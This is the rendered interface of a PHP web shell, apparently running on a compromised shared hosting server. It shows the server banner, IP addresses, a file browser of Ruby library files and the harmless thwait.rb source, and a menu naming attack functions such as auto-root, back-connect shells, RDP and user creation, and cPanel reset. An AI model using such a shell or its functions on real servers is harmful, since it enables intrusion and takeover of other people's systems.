Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby23 /
lib64 /
ruby /
2.3.0 /
[ HOME SHELL ]
Name
Size
Permission
Action
cgi
[ DIR ]
drwxr-xr-x
digest
[ DIR ]
drwxr-xr-x
drb
[ DIR ]
drwxr-xr-x
fiddle
[ DIR ]
drwxr-xr-x
io
[ DIR ]
drwxr-xr-x
irb
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
matrix
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
openssl
[ DIR ]
drwxr-xr-x
optparse
[ DIR ]
drwxr-xr-x
psych
[ DIR ]
drwxr-xr-x
racc
[ DIR ]
drwxr-xr-x
rbconfig
[ DIR ]
drwxr-xr-x
rdoc
[ DIR ]
drwxr-xr-x
rexml
[ DIR ]
drwxr-xr-x
rinda
[ DIR ]
drwxr-xr-x
ripper
[ DIR ]
drwxr-xr-x
rss
[ DIR ]
drwxr-xr-x
rubygems
[ DIR ]
drwxr-xr-x
shell
[ DIR ]
drwxr-xr-x
syslog
[ DIR ]
drwxr-xr-x
unicode_normalize
[ DIR ]
drwxr-xr-x
uri
[ DIR ]
drwxr-xr-x
webrick
[ DIR ]
drwxr-xr-x
x86_64-linux
[ DIR ]
drwxr-xr-x
xmlrpc
[ DIR ]
drwxr-xr-x
yaml
[ DIR ]
drwxr-xr-x
English.rb
6.45
KB
-rw-r--r--
abbrev.rb
3.49
KB
-rw-r--r--
base64.rb
3.31
KB
-rw-r--r--
benchmark.rb
17.9
KB
-rw-r--r--
cgi.rb
9.8
KB
-rw-r--r--
cmath.rb
9.48
KB
-rw-r--r--
csv.rb
82.15
KB
-rw-r--r--
date.rb
1011
B
-rw-r--r--
debug.rb
29.97
KB
-rw-r--r--
delegate.rb
10.29
KB
-rw-r--r--
digest.rb
2.82
KB
-rw-r--r--
drb.rb
50
B
-rw-r--r--
e2mmap.rb
3.8
KB
-rw-r--r--
erb.rb
26.45
KB
-rw-r--r--
expect.rb
2.17
KB
-rw-r--r--
fiddle.rb
1.68
KB
-rw-r--r--
fileutils.rb
47.47
KB
-rw-r--r--
find.rb
2.51
KB
-rw-r--r--
forwardable.rb
7.97
KB
-rw-r--r--
getoptlong.rb
15.41
KB
-rw-r--r--
ipaddr.rb
17.08
KB
-rw-r--r--
irb.rb
20.06
KB
-rw-r--r--
json.rb
1.77
KB
-rw-r--r--
kconv.rb
5.77
KB
-rw-r--r--
logger.rb
21.93
KB
-rw-r--r--
mathn.rb
3.87
KB
-rw-r--r--
matrix.rb
53.37
KB
-rw-r--r--
mkmf.rb
83.79
KB
-rw-r--r--
monitor.rb
7.01
KB
-rw-r--r--
mutex_m.rb
2.03
KB
-rw-r--r--
observer.rb
5.83
KB
-rw-r--r--
open-uri.rb
24.61
KB
-rw-r--r--
open3.rb
20.67
KB
-rw-r--r--
openssl.rb
445
B
-rw-r--r--
optionparser.rb
59
B
-rw-r--r--
optparse.rb
56.91
KB
-rw-r--r--
ostruct.rb
9.95
KB
-rw-r--r--
pathname.rb
16.08
KB
-rw-r--r--
pp.rb
14.2
KB
-rw-r--r--
prettyprint.rb
15.89
KB
-rw-r--r--
prime.rb
12.35
KB
-rw-r--r--
profile.rb
236
B
-rw-r--r--
profiler.rb
4.54
KB
-rw-r--r--
pstore.rb
14.58
KB
-rw-r--r--
psych.rb
15.29
KB
-rw-r--r--
psych_jars.rb
175
B
-rw-r--r--
rdoc.rb
5.07
KB
-rw-r--r--
resolv-replace.rb
1.76
KB
-rw-r--r--
resolv.rb
73.52
KB
-rw-r--r--
ripper.rb
2.56
KB
-rw-r--r--
rss.rb
2.87
KB
-rw-r--r--
rubygems.rb
32.24
KB
-rw-r--r--
scanf.rb
23.56
KB
-rw-r--r--
securerandom.rb
7.49
KB
-rw-r--r--
set.rb
19.67
KB
-rw-r--r--
shell.rb
11.33
KB
-rw-r--r--
shellwords.rb
6.28
KB
-rw-r--r--
singleton.rb
4.05
KB
-rw-r--r--
socket.rb
43.49
KB
-rw-r--r--
sync.rb
7.29
KB
-rw-r--r--
tempfile.rb
10.87
KB
-rw-r--r--
thwait.rb
3.34
KB
-rw-r--r--
time.rb
22.28
KB
-rw-r--r--
timeout.rb
3.68
KB
-rw-r--r--
tmpdir.rb
4.17
KB
-rw-r--r--
tracer.rb
6.43
KB
-rw-r--r--
tsort.rb
14.3
KB
-rw-r--r--
ubygems.rb
299
B
-rw-r--r--
un.rb
8.87
KB
-rw-r--r--
unicode_normalize.rb
3.19
KB
-rw-r--r--
uri.rb
3.1
KB
-rw-r--r--
weakref.rb
2.95
KB
-rw-r--r--
webrick.rb
6.72
KB
-rw-r--r--
xmlrpc.rb
8.93
KB
-rw-r--r--
yaml.rb
1.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : thwait.rb
# frozen_string_literal: false # # thwait.rb - thread synchronization class # $Release Version: 0.9 $ # $Revision: 1.3 $ # by Keiju ISHITSUKA(Nihon Rational Software Co.,Ltd.) require "thread.rb" require "e2mmap.rb" # # This class watches for termination of multiple threads. Basic functionality # (wait until specified threads have terminated) can be accessed through the # class method ThreadsWait::all_waits. Finer control can be gained using # instance methods. # # Example: # # ThreadsWait.all_waits(thr1, thr2, ...) do |t| # STDERR.puts "Thread #{t} has terminated." # end # # # th = ThreadsWait.new(thread1,...) # th.next_wait # next one to be done # # class ThreadsWait extend Exception2MessageMapper def_exception("ErrNoWaitingThread", "No threads for waiting.") def_exception("ErrNoFinishedThread", "No finished threads.") # # Waits until all specified threads have terminated. If a block is provided, # it is executed for each thread as they terminate. # def ThreadsWait.all_waits(*threads) # :yield: thread tw = ThreadsWait.new(*threads) if block_given? tw.all_waits do |th| yield th end else tw.all_waits end end # # Creates a ThreadsWait object, specifying the threads to wait on. # Non-blocking. # def initialize(*threads) @threads = [] @wait_queue = Queue.new join_nowait(*threads) unless threads.empty? end # Returns the array of threads that have not terminated yet. attr_reader :threads # # Returns +true+ if there are no threads in the pool still running. # def empty? @threads.empty? end # # Returns +true+ if any thread has terminated and is ready to be collected. # def finished? !@wait_queue.empty? end # # Waits for specified threads to terminate, and returns when one of # the threads terminated. # def join(*threads) join_nowait(*threads) next_wait end # # Specifies the threads that this object will wait for, but does not actually # wait. # def join_nowait(*threads) threads.flatten! @threads.concat threads for th in threads Thread.start(th) do |t| begin t.join ensure @wait_queue.push t end end end end # # Waits until any of the specified threads has terminated, and returns the one # that does. # # If there is no thread to wait, raises +ErrNoWaitingThread+. If +nonblock+ # is true, and there is no terminated thread, raises +ErrNoFinishedThread+. # def next_wait(nonblock = nil) ThreadsWait.fail ErrNoWaitingThread if @threads.empty? begin @threads.delete(th = @wait_queue.pop(nonblock)) th rescue ThreadError ThreadsWait.fail ErrNoFinishedThread end end # # Waits until all of the specified threads are terminated. If a block is # supplied for the method, it is executed for each thread termination. # # Raises exceptions in the same manner as +next_wait+. # def all_waits until @threads.empty? th = next_wait yield th if block_given? end end end ## # An alias for ThreadsWait from thwait.rb ThWait = ThreadsWait # Documentation comments: # - Source of documentation is evenly split between Nutshell, existing # comments, and my own rephrasing. # - I'm not particularly confident that the comments are all exactly correct.
Close